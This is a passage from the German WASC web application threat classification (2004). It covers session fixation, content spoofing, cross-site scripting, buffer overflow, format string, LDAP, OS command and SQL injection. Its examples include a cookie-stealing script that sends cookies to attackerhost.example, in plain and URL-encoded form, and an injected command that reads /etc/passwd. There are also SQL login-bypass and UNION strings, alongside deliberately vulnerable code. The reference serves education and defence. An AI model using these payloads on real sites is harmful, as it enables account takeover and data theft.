die Werte für die Session-ID zu erzeugen. Die erste Art sind „tolerante“
Systeme, die dem Browser erlauben die Session-ID zu setzen. Die
zweite Art sind „strenge“ Systeme, die nur serverseitig generierte Werte
erlauben. Mit toleranten Systemen werden beliebige Session-IDs
unterhalten, ohne die Website zu kontaktieren. Strenge Systems
zwingen den Angreifer eine „Trap-Session” zu erstellen, die regelmäßig
getriggert werden muss, damit sie erhalten bleibt.
Ohne aktiven Schutz gegen Session-Fixation, kann der Angriff gegen
jede Website geführt werden, die Sessions für authentifizierte Benutzer
verwendet. Websites, die Session-IDs haben, benutzen normalerweise
Cookies, aber es können auch URLs und versteckte (hidden) FormFelder benutzt werden. Unglücklicherweise sind Cookie-basierte
Sessions die, die am einfachsten angreifbar sind. Die meisten zur Zeit
erkannten Angriffsmethoden zielen auf Cookie-Fixation ab.
185
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Im Gegensatz zum Diebstahl einer Session-ID eines Benutzers
nachdem er sich an einer Website angemeldet hat, bietet SessionFixation viel mehr Möglichkeiten. Der aktive Teil des Angriffs beginnt
bereits bevor sich der Benutzer angemeldet hat.
Beispiel
Der Session-Fixation-Angriff wird normalerweise in 3 Schritten
ausgeführt:
1) Session-Aufbau
Der Angreifer erzeugt sich eine „Trap-Session“ für die Website
und erhält eine Session-ID. Oder der Angreifer wählt willkürlich
eine Session-ID für den Angriff. In manchen Fällen muss die
aufgebaute „Trap-Session” durch wiederholtes Aufrufen der
Website getriggert werden (kept alive).
2) Session-Fixation
Der Angreifer injiziert den Wert der „Trap-Session” in den Browser
des Benutzers und fixiert so die Session-ID des Benutzers.
3) Session-Übernahme
Der Angreifer wartet bis sich der Benutzer bei der Website
anmeldet. Wenn dies geschieht, dann wird der fixierte Wert der
Session-ID benutzt und der Angreifer kann die Session
übernehmen.
Das Fixieren der Session-ID des Benutzers kann mit folgenden
Techniken erreicht werden:
Neues Session-ID-Cookie mittels clientseitigem Skript injizieren
Jede Cross-Site-Scripting-Schwachstelle irgendwo in der Domain der
Website kann benutzt werden, um ein Cookie zu setzen oder zu ändern:
http://example/<script>document.cookie="sessionid=1
234;%20domain=.example.dom”;</script>.idc
Neues Session-ID-Cookie mittels META-Tag injizieren
Diese Technik ist ähnlich der vorherigen, aber auch wirksam wenn
Gegenmaßnahmen für Cross-Site-Scripting z. B. HTML-script-Tags
verhindern, nicht aber meta-Tags:
195
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
http://example/<meta%20http-equiv=Set-Cookie%20
content="sessionid=1234;%20domain=.example.dom”>.id
c
Neues Session-ID-Cookie mittels HTTP-Response-Header injizieren
Der Angreifer erzwingt das Injizieren des Session-ID-Cookies durch die
Website selbst oder irgendeine andere Seite in der Domain. Dies kann
auf viele Arten erreicht werden:
 Einbruch in einen Webserver der Domain (z. B. bei einem schlecht
gewarteten WAP-Server).
 Den DNS-Server des Benutzers vergiften, insbesondere wird der
Webserver des Angreifers eingetragen.
 Installation eines schädlichen Webserver in der Domain (z. B. auf
einer Workstation in einer Windows-2000-Domain, dort sind alle
Workstations auch in der DNS-Domain).
 Ausnutzung eines HTTP-Response-Splitting-Angriffs.
Anmerkung: Ein Langzeit-Session-Fixation-Angriff kann dadurch
erreicht werden, dass ein persistentes Cookie injiziert wird (z. B. Ablauf
nach 10 Jahren), welches die Session auch dann fixiert nachdem der
Benutzer den Computer neu startet.
URL-Beispiel:
http://example/<script>document.cookie="sessionid=1
234;%20
Expires=Friday,%201Jan2010%2000:00:00%20GMT”;</scri
pt>.idc
Referenzen
„Session Fixation Vulnerability in Web-based Applications”, By Mitja
Kolsek - Acros Security
http://www.acrossecurity.com/papers/session_fixation.pdf
„Divide and Conquer”, By Amit Klein – Sanctum
http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf
205
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
3 Client -side Attacks
Der Abschnitt über clientseitige Angriffe beschreibt wie eine Website
dazu benutzt werden kann, um einem Benutzer den Zugang zu
verwehren. Wenn ein Benutzer eine Website besucht, wird ein
technisches und psychologisches Vertrauensverhältnis zwischen beiden
Parteien aufgebaut. Ein Benutzer erwartet von einer Website, dass sie
gültigen Inhalt liefert. Ein Benutzer erwartet auch, dass die Website ihn
nicht angreift. Durch Missbrauch dieses Vertrauensverhältnisses kann
ein Angreifer verschiedene Methoden entwickeln, um den Benutzer
anzugreifen.
1.1
Content Spoofing
Content-Spoofing ist eine Angriffmethode, die einem Benutzer
vortäuscht, dass ein bestimmter Inhalt, der auf einer Website erscheint,
legitim und nicht von einer externen Quelle ist.
Einige Websites erzeugen den HTML-Inhalt dynamisch. Zum Beispiel
kann die Quelldatei eines Frames:
Code-Beispiel:
<frame src=”http://foo.example/file.html”>
durch den Parameterwert in der URL bestimmt werden.
http://foo.example/page?frame_src=http://foo.exampl
e/file.html
Ein Angreifer könnte den Parameterwert für „frame_src” wie folgt
ersetzen:
frame_src=http://attacker.example/spoof.html
die resultierende Seite zeigt dem Benutzer in der Adresszeile des
Browsers die erwartete Domain (foo.example), die fremden Daten
(attacker.example) verschleiern aber den wirklichen Inhalt.
Speziell manipulierte Links können dem Benutzer per E-Mail oder
215
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Instant-Messages gesendet werden oder auf Bulletin-Boards als
Nachricht hinterlassen werden. Oder sie werden dem Benutzer per
Cross-Site-Scripting untergeschoben. Wenn ein Angreifer einen
Benutzer dazu bringt, eine Seite über eine schädliche URL zu
besuchen, dann glaubt der Benutzer, dass er einen authentischen Inhalt
von eine Seite sieht, obwohl dies nicht so ist. Der Benutzer wird dem
gefälschten Inhalt vorbehaltlos vertrauen, da die Adresszeile des
Browser korrekt http://foo.example anzeigt, obwohl sie in
Wirklichkeit den Inhalt des Frames http://attacker.example
anzeigt.
Der Angriff nutzt das Vertrauensverhältnis, welches zwischen dem
Benutzer und der Website aufgebaut ist, aus, indem gefälschte Seiten
aufgebaut werden, die dann z. B. Loginformulare, Verfälschung oder
falsche Zeitungsmeldungen usw. enthalten.
Beispiel
Gefälschte Zeitungsmeldung erzeugen. Nehmen wir an, eine Website
benutzt dynamisch erzeugte HTML-Frames für ihre Seiten mit
Zeitungsmeldung. Wenn ein Benutzer z. B. den Link:
http://foo.example/pr?pg=http://foo.example/pr/0101
2003.html
besucht, dann würde die Seite folgenden HTML-Inhalt liefern:
Code-Beispiel:
<HTML>
<FRAMESET COLS=”100, *”>
<FRAME NAME=”pr_menu” SRC=”menu.html”>
<FRAME NAME=”pr_content”
SRC=”http://foo.example/pr/01012003.html>
</FRAMESET>
</HTML>
Die Webanwendung „pr” erzeugt in diesem Beispiel HTML mit einem
225
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
festen Menu und einem dynamisch erzeugten FRAME SRC. Der Frame
„pr_content” erhält seinen Wert vom Parameter „pg” der URL, um
die angeforderte Zeitungsmeldung anzuzeigen. Aber was ist, wenn ein
Angreifer die URL verändert zu:
http://foo.example/pr?pg=http://attacker.example/sp
oofed_press_release.html
Ohne richtige Prüfung des Wertes des „pg”-Parameters wird das
erzeugte HTML wie folgt aussehen:
Code-Beispiel
<HTML>
<FRAMESET COLS=”100, *”>
<FRAME NAME=”pr_menu” SRC=”menu.html”>
<FRAME NAME=”pr_content” SRC=”
http://attacker.example/spoofed_press_release.html”>
</FRAMESET>
</HTML>
Für den Benutzer erscheint der Inhalt von attacker.example
authentisch und von der richtigen Quelle.
Referenzen
„A new spoof: all frames-based sites are vulnerable” - SecureXpert Labs
http://tbtf.com/archive/11-17-98.html#s02
1.2
Cross-site Scripting
Cross-Site-Scripting (XSS) ist eine Angriffsmethode, mit der ein
Angreifer ausführbaren Code über eine Website verteilt, der dann im
Browser des Anwenders ausgeführt wird.
Der Code selbst ist normalerweise in HTML/JavaScript geschrieben, es
kann aber genauso VBScript, ActiveX, Java, Flash oder jede andere
Browser-unterstützte Technik verwendet werden.
235
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Wenn es einem Angreifer gelingt, dass der Code im Browser des
Benutzers ausgeführt wird, dann läuft der Code im Sicherheitskontext
(oder -Zone) der besuchten Website. Mit diesen Rechten ist der Code in
der Lage, sensible Daten, auf die der Browser Zugriff hat, zu lesen, zu
ändern und zu verschicken. Mit Cross-Site-Scripting kann der Account
des Benutzers übernommen werden (Session-Hijacking durch
Cookiediebstahl), der Browser zu einer anderen Seite umgeleitet
werden, oder es kann dem Websitebenutzer betrügerischer Inhalt
gezeigt werden. Cross-Site-Scripting-Angriffe kompromittieren im
Wesentlichen das Vertrauensverhältnis zwischen einem Benutzer und
der Website.
Es gibt zwei Arten von Cross-Site-Scripting-Angriffen, beständige und
nicht-beständige. Nicht-beständige Angriffe erfordern, dass der
Benutzer einen speziell mit schadhaftem Code präparierten Link
besucht. Während der Link besucht wird, wird der in der URL enthaltene
Code im Browser des Benutzers ausgeführt. Beständige Angriffe sind
z. B. wenn der schadhafte Code an eine Website übergeben wird, wo er
für eine bestimmte Zeit gespeichert wird. Beispiel für von Angreifern
bevorzugte Ziele sind oft Nachrichten-Boards oder Foren, WebmailNachrichten und Web-Chat-Software. Es ist nicht nötig, dass der
ahnungslose Benutzer auf einen Link klickt, der einfache Besuch der
Seite bringt den Code zur Ausführung.
Beispiel
Beständiger Angriff
Viele Websites betreiben Bulletin-Boards wo registrierte Benutzer
Nachrichten hinterlassen können. Ein registrierter Benutzer wird
normalerweise anhand eines Session-ID-Cookies erkannt, welches ihn
autorisiert die Nachricht zu schreiben. Wenn es einem Angreifer gelingt
eine speziell mit JavaScript manipulierte Nachricht zu hinterlassen,
dann können dem Benutzer, der diese Nachricht liest, die Cookies
gestohlen werden und sein Account ist damit kompromittiert.
Code-Beispiel um Cookies zu stehlen:
<SCRIPT>
document.location='http://attackerhost.example/cgibin/cookiesteal.cgi?'+document.cookie
245
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
</SCRIPT>
Nicht-beständiger Angriff
Viele Webportale bieten eine personalisierte Ansicht der Website und
begrüßen den eingeloggten Benutzer mit „Willkommen <ihr
Benutzername>”. Manchmal werden die Daten, die den eingeloggten
Benutzer identifizieren, im QUERY_STRING der URL gespeichert und
so zum Browser transportiert.
Beispiel einer Portal-URL:
http://portal.example/index.php?sessionid=12312312&
username=Joe
In obigem Beispiel sehen wir, dass der Benutzername „Joe” in der URL
gespeichert wird. Die Seite zeigt dann eine „Willkommen Joe”
Nachricht. Wenn es einem Angreifer gelingt, den Benutzername in der
URL so zu manipulieren, dass JavaScript zum Diebstahl des Cookies
zur Ausführung kommt, dann kann Kontrolle über den Benutzer-Account
erhalten werden.
Eine große Anzahl von Menschen wird argwöhnisch, wenn sie
JavaScript in einer URL sehen, so dass ein Angreifer meist versuchen
wird den Schadcode URL-encoded zu präsentieren, ähnlich dem
Beispiel unten.
URL-encoded Beispiel zum Diebstahl von Cookies:
http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E
Dekodiertes Beispiel zum Diebstahl des Cookies:
255
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
http://portal.example/index.php?sessionid=12312312&
username=<script>document.location='http://attacker
host.example/cgibin/cookiesteal.cgi?'+document.cookie</script>
Referenzen
„CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in
Client Web Requests”
http://www.cert.org/advisories/CA-2000-02.html
„The Cross Site Scripting FAQ” – CGISecurity.com
http://www.cgisecurity.com/articles/xss-faq.shtml
„Cross Site Scripting Info”
http://httpd.apache.org/info/css-security/
„24 Character entity references in HTML 4”
http://www.w3.org/TR/html4/sgml/entities.html
„Understanding Malicious Content Mitigation for Web Developers”
http://www.cert.org/tech_tips/malicious_code_mitigation.html
„Cross-site Scripting: Are your web applications vulnerable?”, By Kevin
Spett – SPI Dynamics
http://www.spidynamics.com/whitepapers/SPIcrosssitescripting.pdf
„Cross-site Scripting Explained”, By Amit Klein – Sanctum
http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf
„HTML Code Injection and Cross-site Scripting”, By Gunter Ollmann
http://www.technicalinfo.net/papers/CSS.html
4 Command Execution
Der Abschnitt Command-Execution beschreibt Angriffe, die Befehle
(Programme) auf dem Rechner der Website ausführen. Viele Websites
erlauben Eingaben vom Benutzer, um bestimmte Aufgaben zu
erledigen. Oft werden diese Benutzereingaben benutzt, um Befehle zu
konstruieren, die den Inhalt einer Seite dynamisch erzeugen. Wenn
265
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
diese Befehle unsicher aufgebaut werden, dann kann ein Angreifer sie
manipulieren und eigene Befehle zur Ausführung bringen.
1.1
Buffer Overflow
Angriffe, die Buffer-Overflow-Schwachstellen ausnutzen, überschreiben
Teile des Speichers, um den Programmablauf einer Anwendung zu
ändern. Buffer-Overflow ist ein häufiger Mangel der Software, der zu
Fehlern führt. Dieser Fehler tritt auf, wenn Daten im Programmspeicher
geschrieben werden, die größer sind als der zugewiesene Speicher für
den Puffer. Wenn der Puffer überschwemmt wird, dann werden
benachbarte Daten überschrieben, was dann zum Absturz der Software
führt. Wenn die zulässige Länge der Eingabedaten nicht beschränkt
wird, dann können speziell manipulierte Eingabedaten den
Pufferüberlauf auslösen und zu Sicherheitsproblemen führen.
Ein Buffer-Overflow kann durch den manipulierten Speicher für Denialof-Service-Angriff verwendet werden, was dann in einer Fehlfunktion
der Software resultiert. Schlimmer ist aber die Möglichkeit mit einem
Buffer-Overflow-Angriff den Ablauf der Anwendung so zu beeinflussen,
dass sie unerwünschte Aktionen ausführt.
Buffer-Overflow-Schwachstellen wurden benutzt um Stackpointer zu
überschreiben, die dann das Programm veranlassen den Schadcode
auszuführen. Buffer-Overflows wurden ebenso benutzt um
Programmvariablen zu überschreiben.
Buffer-Overflow-Schwachstellen sind in der Informationssicherheit weit
verbreitetet und haben in Webservern oft Probleme verursacht.
Trotzdem sind sie bei Webanwendungen nicht sehr verbreitet. Der
primäre Grund dafür ist, dass ein Angreifer den AnwendungsSourcecode oder die Software-Binärdateien analysieren muss. Da der
Angreifer kundenspezifischen Code auf dem Remotesystem ausnutzen
muss, muss der Angriff blind durchgeführt werden, was den Erfolg
schwierig macht.
Buffer-Overflow-Schwachstellen kommen meist in
Programmiersprachen wie C und C++ vor. Ein Buffer-Overflow kann in
einem CGI-Programm vorkommen oder wenn eine Seite auf C Programme zugreift.
275
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Referenzen
„Inside the Buffer Overflow Attack: Mechanism, Method and
Prevention”, By Mark E. Donaldson – GSEC
http://www.sans.org/rr/code/inside_buffer.php
„w00w00 on Heap Overflows”, By Matt Conover - w00w00 Security
Team
http://www.w00w00.org/files/articles/heaptut.txt
„Smashing The Stack For Fun And Profit”, By Aleph One - Phrack 49
http://www.insecure.org/stf/smashstack.txt
1.2
Format String Attack
Format-String-Angriffe ändern den Programmablauf dadurch, dass sie
die Fähigkeiten der „string formatting library” ausnutzen, um andere
Bereiche des Programmspeichers zu manipulieren. Die Schwachstellen
treten auf, wenn Benutzerdaten direkt als Eingabe für den Formatstring
bestimmter C/C++-Funktionen (z. B.: fprintf, printf, sprintf,
setproctitle, syslog, ...) benutzt werden.
Wenn ein Angreifer einen Format-String bestehend aus Formatzeichen
(z. B.. „%f”, „%p”, „%n”, etc.) als Parameterwert der Webanwendung an
printf übergibt, dann können diese
 beliebigen Code auf dem Server ausführen
 Werte auf dem Stack lesen
 Segmentation-Faults / Softwareabstürze provozieren
Beispiel
Nehmen wir an, dass eine Webanwendung einen Parameter
emailAddress hat, den der Benutzer bestimmen kann. Die Awendung
schreibt den Wert dieser Variablen mit der C-Funktion printf:
printf(emailAddress);
Wenn der gesendete Wert des emailAddress-Parameters
Formatierungszeichen enthält, dann werden diese von printf benutzt
und zusätzlich angegebene Argumente in die Ausgabe aufgenommen.
285
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Wenn keine Argumente angegeben sind, dann werden die Daten vom
Stack benutzt, in der Reihenfolge, wie sie von der printf-Funktion
gebraucht werden.
Mögliche Anwendungen eines Format-String-Angriffs:
 Daten vom Stack lesen: Wenn der Ausgabekanal der printfFunktion zurück zum Angreifer zeigt, dann kann er mit der
Formatangabe „%x” (ein oder mehrmals) Werte vom Stack lesen.
 Zeichenketten vom Speicher des Prozesses lesen: Wenn der
Ausgabekanal der printf-Funktion zurück zum Angreifer zeigt,
dann kann er mit der Formatangabe „%s” (und andere
Formatangaben) Zeichenketten beliebiger Stellen des Speichers
lesen.
 Einen Integer in den Speicher des Prozesses schreiben: Durch
Verwendung der „%n” Formatangabe, kann ein Angreifer einen
Integerwert an beliebige Stellen im Speicher schreiben. (z. B.
wichtige Programm-Flags überschreiben, die Zugriffsrechte
kontrollieren oder die Rücksprungadresse auf dem Stack
überschreiben, usw.).
Referenzen
„(Maybe) the first publicly known Format Strings exploit”
http://archives.neohapsis.com/archives/bugtraq/1999-q3/1009.html
„Analysis of format string bugs”, By Andreas Thuemmel
http://downloads.securityfocus.com/library/format-bug-analysis.pdf
„Format string input validation error in wu-ftpd site_exec() function”
http://www.kb.cert.org/vuls/id/29823
1.3
LDAP Injection
LDAP-Injection ist eine Angriffsmethode, die Websites angreift, die
LDAP-Statements aus Benutzereingaben konstruieren.
LDAP–Lightweight Directory Access Protocol– ist ein open-standardProtokoll, um X.500-Directorys zu schreiben und zu ändern. LDAP wird
mit Internet-Transport-Protokollen, wie TCP betrieben.
Webanwendungen können durch den Benutzer übergebene Eingaben
295
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
für eigene LDAP-Statements in dynamischen Seiten erzeugen.
Wenn eine Webanwendung vergisst, die durch den Benutzer
eingegebenen Daten zu prüfen, dann ist es für einen Angreifer möglich,
das erzeugte LDAP-Statement zu manipulieren. Wenn ein Angreifer in
der Lage ist, ein LDAP-Statement zu manipulieren, dann wird die
(LDAP-)Abfrage mit denselben Berechtigungen ausgeführt wie die des
Prozesses, der sie startet (z. B. Datenbankserver,
Webanwendungsserver, Webserver, usw.). Das kann zu ernsten
Sicherheitsproblemen führen, wenn die Zugriffsrechte jede Abfrage
erlauben oder es zulassen, alles im LDAP-Baum zu ändern oder zu
löschen.
Für LDAP-Injection können die gleichen erweiterten Taktiken verwendet
werden, wie sie für SQL-Injection bekannt sind.
Beispiel
Verwundbarer Code mit Kommentaren:
line 0: <html>
line 1: <body>
line 2: <%@ Language=VBScript %>
line 3: <%
line 4:
Dim userName
line 5:
Dim filter
line 6:
Dim ldapObj
line 7:
line 8:
Const LDAP_SERVER = "ldap.example"
line 9:
line 10:
userName=Request.QueryString("user")
line 11:
line 12:
if( userName = "" ) then
line 13:
Response.Write("<b>Invalid request. Please
specify a valid user name</b><br>")
line 14:
Response.End()
305
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
line 15:
end if
line 16:
line 17:
line 18: filter = "(uid=" + CStr(userName) + ")"
searching for the user entry
'
line 19:
line 20:
line 21:
'Creating the LDAP object and setting the base dn
line 22:
Set ldapObj = Server.CreateObject("IPWorksASP.LDAP")
line 23:
ldapObj.ServerName = LDAP_SERVER
line 24:
ldapObj.DN = "ou=people,dc=spilab,dc=com"
line 25:
line 26:
'Setting the search filter
line 27:
ldapObj.SearchFilter = filter
line 28:
line 29:
ldapObj.Search
line 30:
line 31:
'Showing the user information
line 32:
While ldapObj.NextResult = 1
line 33:
Response.Write("<p>")
line 34:
line 35:
Response.Write("<b><u>User information for : " +
ldapObj.AttrValue(0) + "</u></b><br>")
line 36:
For i = 0 To ldapObj.AttrCount -1
line 37:
+
Response.Write("<b>" + ldapObj.AttrType(i)
"</b> : " + ldapObj.AttrValue(i) + "<br>" )
line 38:
Next
line 39:
Response.Write("</p>")
line 40:
Wend
315
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
line 41: %>
line 42: </body>
line 43: </html>
Beim genaueren Betrachten des Codes sehen wir in Zeile 10, das die
Variable userName mit dem Parameter user initialisiert wird und dann
schnell geprüft wird, ob der Wert leer ist. Wenn der Wert nicht leer ist,
dann wird userName benutzt, um die Variable filter in Zeile 18 zu
initialisieren. Diese neue Variable wird direkt benutzt, um die LDAPAbfrage zu konstruieren, die im Aufruf von SearchFilter in Zeile 27
erfolgt. In diesem Szenario hat der Angreifer volle Kontrolle darüber,
was vom LDAP-Server abgefragt wird und er erhält das Ergebnis der
Abfrage, wenn die Zeilen 32 bis 40 im Code durchlaufen werden,
welche alle Ergebnisse mit Attributen anzeigen.
Beispiel
http://example/ldapsearch.asp?user=*
Im obigen Beispiel senden wir das *-Zeichen im user-Parameter , was
dazu führt, dass die Filtervariable im Code mit (uid=*) initialisiert wird.
Das resultierende LDAP-Statement veranlasst den Server alle Objekt zu
liefern, die ein uid-Attribut haben.
Referenzen
„LDAP-Injection: Are Your Web Applications Vulnerable?”, By Sacha
Faust – SPI Dynamics
http://www.spidynamics.com/whitepapers/LDAPinjection.pdf
„A String Representation of LDAP Search Filters”
http://www.ietf.org/rfc/rfc1960.txt
„Understanding LDAP”
http://www.redbooks.ibm.com/redbooks/SG244986.html
„LDAP Resources”
http://ldapman.org/
325
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
1.4
OS Commanding
OS-Commanding ist eine Angriffsmethode, die Websites angreift, die
Betriebsystembefehle aus Benutzereingaben konstruieren.
Wenn eine Webanwendung Benutzereingaben nicht richtig prüft bevor
sie im Anwendungscode benutzt werden, kann es möglich sein, die
Anwendung so zu betrügen, dass Betriebssystembefehle ausgeführt
werden. Die ausgeführten Befehle werden mit denselben Rechten
ausgeführt wie andere Befehle der Anwendung auch (z. B.
Datenbankserver, Webanwendungsserver, Webserver, usw.).
Beispiel
Perl erlaubt, die Verwendung von Pipes um Daten an die open Funktion zu senden. Dies erfolgt durch Anhängen des '|' (Pipe)Zeichens ans Ende des Dateinamens.
Code-Beispiel mit Pipe-Zeichen:
# Execute "/bin/ls" and pipe the output to the open statement
open(FILE, "/bin/ls|")
Webanwendungen enthalten oft Parameter, die eine Datei angeben,
welche angezeigt oder als Template benutzt wird. Wenn die
Webanwendung die Benutzereingabe nicht ausreichend prüft, dann
kann ein Angreifer den Parameterwert so ändern, dass er einen ShellBefehl gefolgt von einem Pipe-Zeichen (siehe oben) enthält.
Wenn dies die original URL der Webanwendung ist:
http://example/cgibin/showInfo.pl?name=John&template=tmp1.txt
dann kann der Angreifer durch Änderung des templateParameterwertes, die Webanwendung dazu bringen den Befehl
/bin/ls auszuführen:
http://example /cgibin/showInfo.pl?name=John&template=/bin/ls|
335
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Die meisten Skriptsprachen erlauben Programmierern
Betriebssystembefehle mittels verschiedener exec-Funktionen während
der Ausführung des Skripts auszuführen. Wenn die Webanwendung
erlaubt, dass Benutzereingaben in so einem Funktionsaufruf benutzt
werden, ohne dass sie zuvor geprüft werden, kann ein Angreifer
Betriebssystembefehle ausführen. Dieser Teil eines PHP-Skripts zum
Beispiel zeigt ein Verzeichnislisting (auf Unix-Systemen):
Shell-Befehl ausführen:
exec("ls -la $dir",$lines,$rc);
Hängt man ein Semikolon (;) gefolgt von einem Betriebssystembefehl
an, dann ist es möglich, dass die Webanwendung auch den zweiten
Befehl ausführt:
http://example/directory.php?dir=%3Bcat%20/etc/pass
wd
Als Ergebnis wird man den Inhalt der Datei /etc/passwd erhalten.
Referenzen
„Perl CGI Problems”, By RFP - Phrack Magazine, Issue 55
http://www.wiretrip.net/rfp/txt/phrack55.txt
(See „That pesky pipe” section)
„Marcus Xenakis directory.php Shell Command Execution Vulnerability”
http://www.securityfocus.com/bid/4278
„NCSA Secure Programming Guidelines”
http://archive.ncsa.uiuc.edu/General/Grid/ACES/security/programming/#
cgi
1.5
SQL Injection
SQL-Injection ist eine Angriffsmethode, die Websites angreift, die SQLAnfragen aus Benutzereingaben konstruieren.
345
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
SQL –Structured Query Language– ist eine für Datenbankabfragen
spezialisierte Programmiersprache. Auf den meisten kleinen und auch
professionellen Datenbankanwendungen kann mit SQL-Befehlen
zugegriffen werden. SQL ist sowohl ein ANSI- als auch ein ISOStandard. Trotzdem unterstützen viele Datenbankprodukte SQL mit
firmenspezifischen Erweiterungen zum Standardsprachumfang.
Webanwendungen können Benutzereingaben verwenden, um SQLBefehle für dynamische Seiten zu erzeugen.
Wenn eine Webanwendung die Benutzereingaben nicht ausreichend
prüft, dann ist es für einen Angreifer möglich, den erzeugten SQLBefehl zu manipulieren. Wenn es einem Angreifer gelingt den SQLBefehl zu verändern, dann wird dieser mit den gleichen Rechten
ausgeführt wie die anderen Befehle der Webanwendung auch. Dieser
Angriff kann dazu führen, dass ein Angreifer die Kontrolle über die
Datenbank erhält oder gar Systembefehle ausführen kann.
Für SQL-Injection können die gleichen erweiterten Taktiken verwendet
werden, wie sie für LDAP-Injection bekannt sind.
Beispiel
Für ein Web-basiertes Anmeldungsformular kann etwa folgender Code
verwendet werden:
SQLQuery = "SELECT Username FROM Users WHERE Username = '" &
strUsername & "' AND Password = '" & strPassword & "'"
strAuthCheck = GetQueryResult(SQLQuery)
In diesem Code nimmt der Entwickler die Benutzereingabe der Form
und baut sie direkt in die SQL-Abfrage ein.
Angenommen ein Angreifer übergibt die Parameter wie folgt:
Login: ' OR ''='
Passwort: ' OR ''='
dann wird daraus die SQL-Abfrage:
355
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
SELECT Username FROM Users WHERE Username = '' OR ''='' AND
Password = '' OR ''=''
Anstatt die Benutzereingabe mit den Werten in der Users-Tabelle zu
vergleichen, vergleicht '' (leerer Text) mit '' (leerer Text). Das liefert
als Ergebnis True und der Angreifer wird als der Benutzer eingeloggt,
der an erster Stelle in der Users-Tabelle steht.
Es gibt zwei häufig benutzte SQL-Injection-Methoden: normale SQLInjection und Blind-SQL-Injection. Ersteres ist reine SQL-Injection mit
der der Angreifer seine Abfrage so formatieren kann, dass sie den
Erwartungen des Entwicklers entspricht. Dabei helfen die Information in
den Fehlermeldungen, die bei unpassend formatierten Requests
zurückgeliefert werden.
Normale SQL-Injection
Durch Anhängen von union select-Befehlen an den Parameter,
kann der Angreifer testen, ob er Zugriff auf die Datenbank erhält:
http://example/article.asp?ID=2+union+all+select+na
me+from+sysobjects
Der SQL-Server könnte folgende Antwort liefern:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in
an SQL statement containing a UNION operator must have an equal
number of expressions in their target lists.
Das sagt dem Angreifer, dass er die richtige Anzahl von Spalten im
SQL-Befehl angeben muss, damit es funktioniert.
Blind-SQL-Injection
Bei Blind-SQL-Injection liefert der Webserver statt des
Datenbankfehlers eine benutzerfreundliche Fehlerseite, die dem
Benutzer mitteilt, dass ein Fehler gemacht wurde. In solchen
Situationen ist SQL-Injection immer noch möglich, aber nicht mehr so
einfach zu erkennen und durchzuführen. Ein üblicher Weg Blind-SQL365
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Injection zu erkennen, ist falsche und wahre Befehle im Parameterwert
anzugeben.
Folgende URL:
http://example/article.asp?ID=2+and+1=1
sollte dieselbe Seite wie:
http://example/article.asp?ID=2
liefern, da der SQL-Befehl „and 1=1” immer wahr (true) ist.
Folgende URL:
http://example/article.asp?ID=2+and+1=0
wird die Website dann veranlassen, eine benutzerfreundliche
Fehlerseite zu liefern, weil der SQL-Befehl „and 1=0” immer falsch
(false) ist.
Sobald der Angreifer herausgefunden hat, dass eine Website mit BlindSQL-Injection verwundbar ist, kann er diese Schwachstelle einfacher
ausnutzen, in manchen Fällen durch Verwendung normaler SQLInjection.
Referenzen
„SQL Injection: Are your Web Applications Vulnerable” – SPI Dynamics
http://www.spidynamics.com/support/whitepapers/WhitepaperSQLInjecti
on.pdf
„Blind SQL Injection: Are your Web Applications Vulnerable” – SPI
Dynamics
http://www.spidynamics.com/support/whitepapers/Blind_SQLInjection.p
df
„Advanced SQL Injection in SQL Server Applications”, Chris Anley –
NGSSoftware
http://www.nextgenss.com/papers/advanced_sql_injection.pdf
375
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
„More advanced SQL Injection”, Chris Anley – NGSSoftware
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
„Web Application Disassembly with ODBC Error Messages”, David
Litchfield - @stake
http://www.nextgenss.com/papers/webappdis.doc
„SQL Injection Walkthrough”
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
„Blind SQL Injection” - Imperva
http://www.imperva.com/application_defense_center/white_papers/blind
_sql_server_injection.html
„SQL Injection Signatures Evasion” - Imperva
http://www.imperva.com/application_defense_center/white_papers/sql_i
njection_signatures_evasion.html
„Introduction to SQL Injection Attacks for Oracle Developers” - Integrigy
